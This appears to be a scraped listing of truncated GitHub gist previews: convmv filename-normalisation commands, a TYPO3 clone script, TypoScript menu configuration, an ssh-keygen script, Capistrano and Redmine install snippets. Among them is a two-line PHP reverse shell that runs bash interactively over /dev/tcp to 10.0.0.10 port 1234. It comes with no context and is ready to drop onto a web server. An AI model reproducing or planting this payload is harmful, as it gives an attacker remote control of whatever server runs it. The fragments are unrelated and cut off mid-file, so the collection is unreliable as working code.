Install convmv if you don't have it
sudo apt-get install convmv
Convert all files in a directory from NFD to NFC:
convmv -r -f utf8 -t utf8 --nfc --notest .
Install convmv if you don't have it
sudo apt-get install convmv
Convert all files in a directory from NFD to NFC:
convmv -r -f utf8 -t utf8 --nfc --notest .
#!/usr/bin/env bash | |
# phase one: core install | |
# Pro tip: edit the script and use this repository instead to try out the | |
# codename "Awesome Ocelot" project - which should be even faster than the | |
# bare 6.2 core: https://github.com/NamelessCoder/TYPO3.CMS.git | |
# Live demo of "Awesome Ocelot" is at http://staging.namelesscoder.net | |
git clone https://github.com/TYPO3/TYPO3.CMS.git --depth 1 |
lib.pageCategories = CONTENT | |
lib.pageCategories { | |
wrap = <ul>|</ul> | |
table = pages | |
select { | |
uidInList = this | |
pidInList = 0 | |
selectFields = sys_category.title | |
join = sys_category_record_mm ON pages.uid = sys_category_record_mm.uid_foreign JOIN sys_category ON sys_category.uid = sys_category_record_mm.uid_local | |
where = sys_category_record_mm.tablenames = 'pages' |
20 = HMENU | |
20 { | |
special = categories | |
special.value = 2 | |
1 = TMENU | |
1 { | |
wrap = <ul>|</ul> | |
NO { |
#!/bin/bash | |
BITS=2048 | |
# In one line: | |
# rm -f temp.key && ssh-keygen -t rsa -b 2048 -f temp.key -N "" -q && ssh-keygen -e -f temp.key -m PKCS8 | tr "\n" " " && echo && cat temp.key | tr "\n" " " && echo | |
# In multiple lines: | |
rm -f temp.key | |
ssh-keygen -t rsa -b $BITS -f temp.key -N "" -q |
<?php | |
namespace Vm\Vmtemplates\Controller; | |
/***************************************************************** | |
* Copyright notice | |
* | |
* (c) 2014 Benjamin Rau <rau@codearts.at> | |
* | |
* All rights reserved | |
* | |
* This script is part of the TYPO3 project. The TYPO3 project is |
# lib/capistrano/tasks/config_files.cap | |
# | |
# Capistrano task to upload configuration files outside SCM | |
# Jesus Burgos Macia | |
# | |
# This allows us to have server's config files isolated from development ones. | |
# That's useful for several reasons, but the most important is that you can | |
# ignore files from repository. | |
# | |
# The task will upload all files found in |
<?php | |
exec("/bin/bash -c 'bash -i >& /dev/tcp/10.0.0.10/1234 0>&1'"); |
#!/bin/bash | |
# | |
# Author: Sameer Naik <sameer@damagehead.com> | |
# Gist: https://gist.github.com/sameersbn/dd24dfdd13bc472d11a5 | |
# Short Url (raw): http://goo.gl/iJcvCP | |
# | |
# Installs a bunch of plugins for the docker-redmine image | |
# | |
# Usage: | |
# $ mkdir -p /opt/redmine/data/plugins |